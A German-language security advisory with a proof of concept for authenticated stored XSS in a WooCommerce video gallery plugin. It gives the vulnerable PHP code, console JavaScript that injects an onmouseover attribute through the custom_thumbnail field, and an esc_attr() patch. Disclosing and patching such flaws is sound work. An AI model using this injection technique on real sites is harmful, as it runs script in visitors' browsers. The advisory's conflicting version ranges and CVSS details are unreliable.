
Product Video Gallery für Woocommerce <= 1.5.1.8 - Authentifiziertes gespeichertes Cross-Site-Scripting Proof of Concept
| Detail | Wert |
|---|---|
| CVE ID | CVE-2026-10104 |
| Plugin | Product Video Gallery for WooCommerce |
| Anbieter | TechnoSoft Webs (NikHiL Gadhiya) |
| Typ | Gespeichertes Cross-Site-Scripting (XSS) |
| CWE | CWE-79 – Unzureichende Neutralisierung von Eingaben bei der Seitengenerierung |
| CVSS 3.1 | 4.4 (Mittel) |
| Betroffene Versionen | ≤ 1.5.1.6 |
| Behobene Version | 1.5.1.9 |
| Erfordert Authentifizierung | Ja – Beitragsautor+ (jede Rolle, die Produkte bearbeiten kann) |
| Entdeckt von | Ravindu Lakmina Munaweera |
Das Product Video Gallery for WooCommerce-Plugin für WordPress (Versionen bis einschließlich 1.5.1.6) ist anfällig für gespeichertes Cross-Site-Scripting (XSS) über den custom_thumbnail-Produktmetaparameter.
Die Methode save_wc_video_url_field() des Plugins bereinigt den POST-Parameter custom_thumbnail[] mit sanitize_text_field(), was HTML-Tags entfernt, aber doppelte Anführungszeichen (") nicht entfernt. Auf der Frontend-Seite wird der gespeicherte Wert in der Methode nickx_get_video_thumbanil_html() direkt in die Attribute eines ``-Tags eingefügt, ohne esc_attr()-Escaping. Dies ermöglicht es einem authentifizierten Angreifer, beliebige HTML-Event-Handler-Attribute (z. B. onmouseover, onerror) zu injizieren, die JavaScript im Browser jedes Besuchers – einschließlich nicht authentifizierter Benutzer – ausführen, der die betroffene Produktseite aufruft.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Datei: public/class-rendering.php
Methode: nickx_get_video_thumbanil_html()
// Zeile 365 – Wert ohne esc_attr() eingefügt
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
: '';
// Zeile 379 – innerhalb des -Tags auf der öffentlichen Frontend-Seite ausgegeben
echo '';
Datei: admin/class-video-field.php
Methode: save_wc_video_url_field()
// Zeile 309-310 – sanitize_text_field() entfernt Tags, aber NICHT doppelte Anführungszeichen
if ( isset( $_POST['custom_thumbnail'] ) ) {
update_post_meta( $post_id, '_custom_thumbnail',
array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}
Melden Sie sich als Shop-Manager (Angreifer) an.
Navigieren Sie zu Produkte → Bearbeiten eines beliebigen Produkts, bei dem im Feld „Product Video Url“ eine Video-URL festgelegt ist.
Öffnen Sie die Entwicklertools des Browsers (F12) → Tab Konsole.
Fügen Sie das folgende JavaScript ein und führen Sie es aus:
const form = document.getElementById('post');
// Thumbnail-ID auf einen nicht leeren Wert setzen (erforderlich für die Render-Bedingung)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }
// XSS-Payload via custom_thumbnail injizieren
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
Klicken Sie auf „Aktualisieren“, um das Produkt zu speichern.
Öffnen Sie die Produktseite im Frontend in einem Inkognito-/privaten Fenster (nicht authentifiziert).
Bewegen Sie die Maus über das Video-Thumbnail in der Produktgalerie.
✅ Der JavaScript-Alert wird ausgeführt, was das Stored XSS bestätigt.
Das injizierte " schließt das custom_thumbnail-Attribut, und onmouseover wird zu einem neuen ausführbaren Attribut auf dem ``-Element.
Wenden Sie esc_attr() auf den benutzerdefinierten Thumbnail-Wert an, bevor Sie ihn in das HTML-Attribut einfügen:
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
- ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
- : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
+ ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"'
+ : '';
Diese Korrektur sollte auf alle Stellen in nickx_get_video_thumbanil_html() angewendet werden, an denen $custom_thumbnail konstruiert wird (sowohl der Array- als auch der Nicht-Array-Codepfad).
| Datum | Ereignis |
|---|---|
| 2026-03-20 | Schwachstelle entdeckt |
| 2026-03-20 | An Wordfence (CNA) gemeldet |
| 2026-05-29 | CVE-ID zugewiesen: CVE-2026-10104 |
| 2026-07-01 | Öffentliche Offenlegung |
Dieses Advisory wird unter CC BY 4.0 veröffentlicht.
| Metrik | Wert |
|---|
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Niedrig |
| Benutzerinteraktion | Keine |
| Umfang | Geändert |
| Vertraulichkeitsauswirkung | Niedrig |
| Integritätsauswirkung | Niedrig |
| Verfügbarkeitsauswirkung | Keine |